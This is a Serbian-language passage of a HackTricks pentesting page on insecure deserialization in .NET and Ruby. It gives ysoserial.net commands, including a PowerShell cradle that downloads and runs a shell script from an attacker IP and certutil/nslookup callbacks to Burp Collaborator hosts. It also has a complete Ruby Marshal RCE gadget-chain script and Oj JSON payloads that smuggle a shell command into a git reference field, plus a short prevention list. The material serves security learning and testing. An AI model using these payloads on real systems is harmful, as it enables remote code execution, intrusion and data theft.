  • --output se koristi za označavanje da li želite eksploataciju u raw ili base64 kodiranom formatu. Napomena da će ysoserial.net kodirati payload koristeći UTF-16LE (kodiranje koje se koristi po defaultu na Windows-u) tako da ako dobijete raw i jednostavno ga kodirate iz linux konzole mogli biste imati neke probleme sa kompatibilnošću kodiranja koji će sprečiti da eksploatacija funkcioniše ispravno (u HTB JSON kutiji payload je radio u oba UTF-16LE i ASCII, ali to ne znači da će uvek raditi).

  • --plugin ysoserial.net podržava plugine za kreiranje eksploatacija za specifične okvire kao što je ViewState.

Više ysoserial.net parametara

  • --minify će pružiti manji payload (ako je moguće)

  • --raf -f Json.Net -c "anything" Ovo će označiti sve gadgete koji se mogu koristiti sa datim formatter-om (Json.Net u ovom slučaju)

  • --sf xml možete označiti gadget (-g) i ysoserial.net će tražiti formatere koji sadrže "xml" (ne razlikuje velika i mala slova)

ysoserial primeri za kreiranje eksploatacija:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net takođe ima veoma zanimljiv parametar koji pomaže da se bolje razume kako svaki exploit funkcioniše: --test Ako navedete ovaj parametar, ysoserial.net će pokušati da izvrši exploit lokalno, tako da možete testirati da li će vaš payload raditi ispravno. Ovaj parametar je koristan jer ako pregledate kod, naći ćete delove koda poput sledećeg (iz ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

To znači da će kod pozvati serializersHelper.JsonNet_deserialize kako bi testirao eksploataciju.

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

U prethodnom kodu je ranjiv na stvoreni exploit. Dakle, ako pronađete nešto slično u .Net aplikaciji, to znači da je verovatno i ta aplikacija ranjiva. Zato --test parametar omogućava da razumemo koji delovi koda su ranjivi na deserializaciju exploit koji ysoserial.net može stvoriti.

ViewState

Pogledajte ovaj POST o kako pokušati da iskoristite __ViewState parametar .Net da izvršite proizvoljan kod. Ako već znate tajne koje koristi žrtvinska mašina, pročitajte ovaj post da znate kako da izvršite kod.

Prevencija

Da biste umanjili rizike povezane sa deserializacijom u .Net:

  • Izbegavajte dozvoljavanje podataka da definišu svoje tipove objekata. Koristite DataContractSerializer ili XmlSerializer kada je to moguće.

  • Za JSON.Net, postavite TypeNameHandling na None: %%%TypeNameHandling = TypeNameHandling.None%%%

  • Izbegavajte korišćenje JavaScriptSerializer sa JavaScriptTypeResolver.

  • Ograničite tipove koji mogu biti deserializovani, razumevajući inherentne rizike sa .Net tipovima, kao što je System.IO.FileInfo, koji može modifikovati svojstva server fajlova, potencijalno dovodeći do napada uskraćivanja usluge.

  • Budite oprezni sa tipovima koji imaju rizična svojstva, poput System.ComponentModel.DataAnnotations.ValidationException sa svojim Value svojstvom, koje može biti iskorišćeno.

  • Sigurno kontrolišite instanciranje tipova kako biste sprečili napadače da utiču na proces deserializacije, čineći čak i DataContractSerializer ili XmlSerializer ranjivim.

  • Implementirajte kontrole bele liste koristeći prilagođeni SerializationBinder za BinaryFormatter i JSON.Net.

  • Budite informisani o poznatim nesigurnim deserializacijskim gadgetima unutar .Net i osigurajte da deserializeri ne instanciraju takve tipove.

  • Izolujte potencijalno rizičan kod od koda sa internet pristupom kako biste izbegli izlaganje poznatim gadgetima, kao što je System.Windows.Data.ObjectDataProvider u WPF aplikacijama, nepouzdanim izvorima podataka.

Reference

Ruby

U Ruby-ju, serijalizacija se olakšava pomoću dve metode unutar marshal biblioteke. Prva metoda, poznata kao dump, koristi se za transformaciju objekta u bajt tok. Ovaj proces se naziva serijalizacija. Nasuprot tome, druga metoda, load, se koristi za vraćanje bajt toka nazad u objekat, proces poznat kao deserializacija.

Za zaštitu serijalizovanih objekata, Ruby koristi HMAC (Hash-Based Message Authentication Code), osiguravajući integritet i autentičnost podataka. Ključ korišćen za ovu svrhu se čuva na jednom od nekoliko mogućih mesta:

  • config/environment.rb

  • config/initializers/secret_token.rb

  • config/secrets.yml

  • /proc/self/environ

Ruby 2.X generička deserializacija u RCE gadget lanac (više informacija u https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Drugi RCE lanac za eksploataciju Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() metoda

Kao što je objašnjeno u ovom izveštaju o ranjivosti, ako neki korisnički nesanitizovani unos dođe do .send() metode ruby objekta, ova metoda omogućava pozivanje bilo koje druge metode objekta sa bilo kojim parametrima.

Na primer, pozivanje eval i zatim ruby kod kao drugi parametar će omogućiti izvršavanje proizvoljnog koda:

<Object>.send('eval', '<user input with Ruby code>') == RCE

Pored toga, ako samo jedan parametar .send() kontroliše napadač, kao što je pomenuto u prethodnom tekstu, moguće je pozvati bilo koju metodu objekta koja ne zahteva argumente ili čiji argumenti imaju podrazumevane vrednosti. Za ovo, moguće je enumerisati sve metode objekta da bi se pronašle neke zanimljive metode koje ispunjavaju te zahteve.

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ostale biblioteke

Ova tehnika je preuzeta iz ovog blog posta.

Postoje i druge Ruby biblioteke koje se mogu koristiti za serijalizaciju objekata i koje se stoga mogu zloupotrebiti za dobijanje RCE tokom nesigurne deserializacije. Sledeća tabela prikazuje neke od ovih biblioteka i metodu koju pozivaju iz učitane biblioteke kada se deserializuje (funkcija koja se zloupotrebljava za dobijanje RCE):

Biblioteka

Ulazni podaci

Metoda pokretanja unutar klase

Marshal (Ruby)

Binarnu

_load

Oj

JSON

hash (klasa mora biti stavljena u hash(mapa) kao ključ)

Ox

XML

hash (klasa mora biti stavljena u hash(mapa) kao ključ)

Psych (Ruby)

YAML

hash (klasa mora biti stavljena u hash(mapa) kao ključ) init_with

JSON (Ruby)

JSON

json_create ([vidi beleške o json_create na kraju](#table-vulnerable-sinks))

Osnovni primer:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

U slučaju pokušaja zloupotrebe Oj, bilo je moguće pronaći gadget klasu koja unutar svoje hash funkcije poziva to_s, koja poziva spec, koja poziva fetch_path, što je bilo moguće učiniti da preuzme nasumičnu URL adresu, pružajući odličan detektor ovih vrsta nesanitizovanih ranjivosti deserializacije.

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport","path": "/", "user": "anyuser", "password": "anypw"
}

Pored toga, otkriveno je da se prethodnom tehnikom u sistemu takođe kreira folder, što je zahtev za zloupotrebu drugog gadgeta kako bi se ovo pretvorilo u potpunu RCE sa nečim poput:

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Proverite više detalja u originalnom postu.

Podržite HackTricks

Last updated